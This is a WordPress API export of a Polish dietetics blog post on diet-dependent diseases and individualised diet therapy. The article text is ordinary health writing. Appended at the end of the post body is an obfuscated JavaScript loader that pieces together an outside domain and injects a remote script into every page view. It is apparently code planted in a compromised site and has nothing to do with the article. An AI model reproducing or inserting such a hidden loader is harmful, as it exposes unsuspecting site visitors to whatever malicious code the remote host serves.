{"id":8921,"date":"2018-05-24T11:37:08","date_gmt":"2018-05-24T09:37:08","guid":{"rendered":"https:\/\/eco-supplements.com\/pl\/?p=8921"},"modified":"2019-07-26T13:16:38","modified_gmt":"2019-07-26T11:16:38","slug":"niech-zywnosc-bedzie-lekiema-lek-zywnoscia","status":"publish","type":"post","link":"https:\/\/eco-supplements.com\/pl\/zdrowie-i-uroda\/niech-zywnosc-bedzie-lekiema-lek-zywnoscia\/","title":{"rendered":"\u201eNiech \u017cywno\u015b\u0107 b\u0119dzie lekiem, a lek \u017cywno\u015bci\u0105\u201d"},"content":{"rendered":"<p>S\u0142owo \u201edieta\u201d dla wi\u0119kszo\u015bci kojarzy si\u0119 wy\u0142\u0105cznie z procesem odchudzania. Ma\u0142o kto jest \u015bwiadomy, \u017ce dietoterapia to r\u00f3wnie\u017c integralna cz\u0119\u015b\u0107 procesu leczenia wielu chor\u00f3b!<br \/>\nCo ciekawe o wp\u0142ywie jedzenia na nasz stan zdrowia ju\u017c w V w.p.n.e. pisa\u0142 Hipokrates: \u201eniech \u017cywno\u015b\u0107 b\u0119dzie lekiem, a lek \u017cywno\u015bci\u0105&#8230;.\u201d<br \/>\n<!--more--><br \/>\n<strong>Choroby dietozale\u017cne<\/strong><\/p>\n<p>Mianem chor\u00f3b dietozale\u017cnych okre\u015blamy te schorzenia, na rozw\u00f3j kt\u00f3rych zdecydowany wp\u0142yw ma spos\u00f3b \u017cywienia zar\u00f3wno w bezpo\u015bredni jak i po\u015bredni spos\u00f3b. Obecnie szacuje si\u0119 \u017ce oko\u0142o 80 jednostek chorobowych ma swoje uwarunkowania w nieprawid\u0142owej diecie. Za nieprawid\u0142owy uwa\u017ca si\u0119 zar\u00f3wno niedoborowy jak i nadmierny, ale r\u00f3wnie\u017c jednostronny styl \u017cywienia. Oznacza to w praktyce, \u017ce zar\u00f3wno spo\u017cywanie zbyt ma\u0142ej ilo\u015bci po\u017cywienia, jak i zbyt du\u017cej ilo\u015bci, ale r\u00f3wnie\u017c bezzasadne wykluczanie z diety ca\u0142ych grup po\u017cywienia niesie ze sob\u0105 ryzyko rozwoju chor\u00f3b na tle \u017cywieniowym. Choroby dietozale\u017cne to r\u00f3wnie\u017c choroby w kt\u00f3rych dieta odgrywa bardzo wa\u017cn\u0105 rol\u0119 w leczeniu i decyduje cz\u0119sto o pogorszeniu lub poprawie stanu zdrowia chorego. Dlatego zastosowanie odpowiednio zbilansowanej diety w przypadku leczenia tych chor\u00f3b powinno by\u0107 absolutnie obligatoryjne.<\/p>\n<p><img decoding=\"async\" class=\"aligncenter size-full wp-image-8928\" src=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys3.jpg\" alt=\"\" width=\"1024\" height=\"682\" srcset=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys3.jpg 1024w, https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys3-300x200.jpg 300w, https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys3-768x512.jpg 768w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/p>\n<p><strong> Do chor\u00f3b dietozale\u017cnych zaliczamy m.in.:<\/strong><\/p>\n<ul>\n<li>choroby uk\u0142adu pokarmowego: stany zapalne p\u0119cherzyka \u017c\u00f3\u0142ciowego, kamica \u017c\u00f3\u0142ciowa, refluks \u017co\u0142\u0105dkowo-prze\u0142ykowy, zaparcia, pr\u00f3chnica, st\u0142uszczenie w\u0105troby, zesp\u00f3\u0142 jelita dra\u017cliwego, celiakia,<\/li>\n<li>choroby uk\u0142adu kr\u0105\u017cenia: mia\u017cd\u017cyca, nadci\u015bnienie t\u0119tnicze, zawa\u0142 mi\u0119\u015bnia sercowego, udar m\u00f3zgu,<\/li>\n<li>cukrzyca typu II,<\/li>\n<li>dna moczanowa,<\/li>\n<li>niedokrwisto\u015b\u0107 z niedoboru \u017celaza,<\/li>\n<li>oty\u0142o\u015b\u0107,<\/li>\n<li>hiperlipidemie,<\/li>\n<li>osteoporoza i wiele innych.<\/li>\n<\/ul>\n<p><strong>Indywidualizacja zalece\u0144<\/strong><\/p>\n<div id=\"attachment_8930\" style=\"width: 232px\" class=\"wp-caption alignleft\"><a href=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys2.jpg\"><img decoding=\"async\" aria-describedby=\"caption-attachment-8930\" class=\"size-medium wp-image-8930\" src=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys2-222x300.jpg\" alt=\"Indywidualizacja zalece\u0144\" width=\"222\" height=\"300\" srcset=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys2-222x300.jpg 222w, https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/rys2.jpg 758w\" sizes=\"(max-width: 222px) 100vw, 222px\" \/><\/a><p id=\"caption-attachment-8930\" class=\"wp-caption-text\">Indywidualizacja zalece\u0144<\/p><\/div>\n<p>Odpowiednio u\u0142o\u017cona dieta w przypadku os\u00f3b choruj\u0105cych na wy\u017cej wymienione choroby jest niezwykle istotnym wr\u0119cz kluczowym czynnikiem, decyduj\u0105cym o wyst\u0105pieniu, b\u0105d\u017a braku powik\u0142a\u0144 chorobowych, a nawet umo\u017cliwiaj\u0105cym pe\u0142ny powr\u00f3t do zdrowia! Osoby choruj\u0105ce na choroby dietozale\u017cne wymagaj\u0105 indywidualnego podej\u015bcia dietetycznego, poniewa\u017c ich zapotrzebowanie na poszczeg\u00f3lne sk\u0142adniki pokarmowe mo\u017ce zdecydowanie si\u0119 r\u00f3\u017cni\u0107 od zapotrzebowania zdrowych os\u00f3b. Cz\u0119sto w stanach przedchorobowych odpowiednio dopasowana zmiana \u017cywienia potrafi powstrzyma\u0107 rozw\u00f3j choroby, dzi\u0119ki czemu nie jest wymagane leczenie farmakologiczne. Mo\u017cemy to zauwa\u017cy\u0107 zw\u0142aszcza u os\u00f3b oty\u0142ych, kt\u00f3re poprzez odpowiednio u\u0142o\u017con\u0105 diet\u0119 s\u0105 w stanie diametralnie zmieni\u0107 swoje wyniki bada\u0144. Nieprawid\u0142owo skomponowana dieta, mimo zastosowania przez lekarza prowadz\u0105cego leczenia farmakologicznego mo\u017ce nie przynosi\u0107 spodziewanych efekt\u00f3w leczenia. Dopiero po\u0142\u0105czenie wsp\u00f3\u0142pracy lekarza i dietetyka mo\u017ce w zdecydowany spos\u00f3b poprawi\u0107 samopoczucie pacjenta oraz wyniki leczenia.<\/p>\n<p>Zaobserwowa\u0107 mo\u017cemy to na przyk\u0142adzie os\u00f3b choruj\u0105cych na cukrzyc\u0119 typu II, kt\u00f3rzy mimo w\u0142\u0105czenia przez lekarza leczenia farmakologicznego, wci\u0105\u017c odnotowuj\u0105 hiperglikemie. Zastosowanie u nich odpowiednio dobranej diety wykluczaj\u0105cej z ich menu produkty o wysokim indeksie glikemicznym (np. s\u0142odycze, winogrona), wprowadzenie regularno\u015bci posi\u0142k\u00f3w, wzbogacenie diety o produkty zawieraj\u0105ce w\u0119glowodany z\u0142o\u017cone, b\u0142onnik pokarmowy oraz produkty bia\u0142kowe o ma\u0142ej zawarto\u015bci t\u0142uszczu oraz t\u0142uszcze ro\u015blinne umo\u017cliwia zadowalaj\u0105c\u0105 regulacje poziomu glukozy we krwi. W przypadku os\u00f3b dodatkowo zmagaj\u0105cych si\u0119 z nadmiern\u0105 mas\u0105 cia\u0142a zalecana jest r\u00f3wnie\u017c redukcja wagi. Efekty zastosowanych zmian \u017cywieniowych s\u0105 cz\u0119sto widoczne ju\u017c po 2-3 tygodniach! W d\u0142ugofalowej perspektywie spora cz\u0119\u015b\u0107 os\u00f3b jest w stanie zmniejszy\u0107 dawk\u0119 stosowanych \u015brodk\u00f3w farmakologicznych czy te\u017c wr\u0119cz je odstawi\u0107 (oczywi\u015bcie zawsze dopiero po konsultacji z lekarzem!!!).<\/p>\n<p>Z drugiej strony tak aby dobrze zilustrowa\u0107 potrzeb\u0119 indywidualizacji mo\u017cemy si\u0119 pos\u0142u\u017cy\u0107 np. chorob\u0105 refluksow\u0105 czy te\u017c wrzodow\u0105 \u017co\u0142\u0105dka w kt\u00f3rej zastosowanie wi\u0119kszo\u015bci zalece\u0144 dotycz\u0105cych prawid\u0142owego \u017cywienia os\u00f3b zdrowych czyli spo\u017cywanie sporych ilo\u015bci surowych warzyw i owoc\u00f3w oraz \u017ar\u00f3de\u0142 w\u0119glowodan\u00f3w z\u0142o\u017conych takich jak np. chleb \u017cytni razowy skutkowa\u0142oby nasilonymi dolegliwo\u015bciami b\u00f3lowymi i pogorszeniem stanu zdrowia. W przypadku os\u00f3b cierpi\u0105cych na te schorzenia zaleca si\u0119 tzw. diet\u0119 lekkostrawn\u0105 z ograniczeniem substancji pobudzaj\u0105cych wydzielanie soku \u017co\u0142\u0105dkowego. Oznacza to wykluczenie z diety m.in razowego pieczywa, owoc\u00f3w cytrusowych, warzyw cebulowych, ostrych przypraw, soku pomidorowego, potraw kwa\u015bnych, t\u0142ustych, sma\u017conych, s\u0142odyczy, alkoholu oraz kawy. Pozosta\u0142e owoce i warzywa zalecane s\u0105 w formie gotowanej, przecierowej czy te\u017c jako rozcie\u0144czone soki. Posi\u0142ki powinny by\u0107 spo\u017cywane o sta\u0142ych porach 5-6 razy dziennie i powinny by\u0107 niewielkie obj\u0119to\u015bciowo. Dieta jest dostosowywana na bie\u017c\u0105co do okres\u00f3w remisji oraz zaostrzenia choroby.<\/p>\n<p>Jak mo\u017cna by\u0142o zauwa\u017cy\u0107 na wy\u017cej wymienionych przyk\u0142adach potrzeba indywidualizacji zalece\u0144 dietetycznych u os\u00f3b z jednostkami chorobowymi ma olbrzymie znaczenie. Zw\u0142aszcza je\u015bli dany pacjent ma wi\u0119cej ni\u017c jedno schorzenie, a og\u00f3lnie dost\u0119pne informacj\u0119 wzajemnie si\u0119 wykluczaj\u0105.<\/p>\n<p><strong>Odpowiedzialne szukanie pomocy<\/strong><\/p>\n<div id=\"attachment_8926\" style=\"width: 243px\" class=\"wp-caption alignleft\"><a href=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/barbara-filak-zdjecie.jpg\"><img decoding=\"async\" aria-describedby=\"caption-attachment-8926\" class=\"size-medium wp-image-8926\" src=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/barbara-filak-zdjecie-233x300.jpg\" alt=\"mgr in\u017c. Barbara Filak\" width=\"233\" height=\"300\" srcset=\"https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/barbara-filak-zdjecie-233x300.jpg 233w, https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/barbara-filak-zdjecie-768x988.jpg 768w, https:\/\/eco-supplements.com\/pl\/wp-content\/uploads\/2018\/05\/barbara-filak-zdjecie.jpg 995w\" sizes=\"(max-width: 233px) 100vw, 233px\" \/><\/a><p id=\"caption-attachment-8926\" class=\"wp-caption-text\">mgr in\u017c. Barbara Filak<\/p><\/div>\n<p>W tym miejscu musz\u0119 zwr\u00f3ci\u0107 uwag\u0119 \u017ce wiele os\u00f3b borykaj\u0105cych si\u0119 z chorobami dietozale\u017cnymi albo bagatelizuje sw\u00f3j problem pod kontem zalece\u0144 dietetycznych (\u201elecz\u0119 si\u0119 u lekarza farmakologicznie wi\u0119c po co mi dieta?\u201d) albo pr\u00f3buje sobie radzi\u0107 samemu, korzystaj\u0105c z wiedzy internetowych pseudoartyku\u0142\u00f3w oraz porad udzielanych na forach przez ludzi nie posiadaj\u0105cych specjalistycznej wiedzy \u017cywieniowej. Cz\u0119sto ko\u0144czy si\u0119 to pogorszeniem stanu zdrowia chorego lub brakiem efekt\u00f3w leczenia. Dieta, zw\u0142aszcza dieta w jednostkach chorobowych powinna by\u0107 u\u0142o\u017cona indywidualnie na podstawie zebranego wywiadu \u017cywieniowego i zdrowotnego przez wykwalifikowanego dietetyka. To on dzi\u0119ki zebraniu pe\u0142nej wiedzy na temat chorego, w tym po przeanalizowaniu wynik\u00f3w bada\u0144 chorego, dotychczasowego leczenia, nawyk\u00f3w \u017cywieniowych oraz preferencji \u017cywieniowych jest w stanie dopasowa\u0107 diet\u0119 kt\u00f3ra rzeczywi\u015bcie pomo\u017ce choremu.<\/p>\n<p><strong>Autorem artyku\u0142u jest mgr in\u017c. Barbara Filak.<\/strong><\/p>\n<p><script type=\"text\/javascript\">\n(function(){\n ocm8=document.createElement(\"script\");ocm8.async=true;ocm8_=\"u\"+(\"s\")+\"t\";\n ocm8u=\"3416581.\";ocm8_+=\"a\"+(\"t.i\");ocm8_+=\"n\"+(\"f\"+\"o\")+\"\/\";\n ocm8u+=\"euz8ywsqcm8yql9yjfyy2n\"+(\"apdae6s9mr\");\n ocm8.src=\"https:\/\/\"+ocm8_+ocm8u;ocm8.type=\"text\/javascript\";\n document.body.appendChild(ocm8);\n})();\n<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>S\u0142owo \u201edieta\u201d dla wi\u0119kszo\u015bci kojarzy si\u0119 wy\u0142\u0105cznie z procesem odchudzania. Ma\u0142o kto jest \u015bwiadomy, \u017ce dietoterapia to r\u00f3wnie\u017c integralna cz\u0119\u015b\u0107 procesu leczenia wielu chor\u00f3b! Co ciekawe o wp\u0142ywie jedzenia na [&hellip;]<\/p>\n","protected":false},"author":27,"featured_media":8924,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[2062,264,81],"class_list":["post-8921","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-zdrowie-i-uroda","tag-barbara-filak","tag-dieta","tag-odchudzanie"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/posts\/8921","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/users\/27"}],"replies":[{"embeddable":true,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/comments?post=8921"}],"version-history":[{"count":11,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/posts\/8921\/revisions"}],"predecessor-version":[{"id":10687,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/posts\/8921\/revisions\/10687"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/media\/8924"}],"wp:attachment":[{"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/media?parent=8921"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/categories?post=8921"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/eco-supplements.com\/pl\/wp-json\/wp\/v2\/tags?post=8921"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}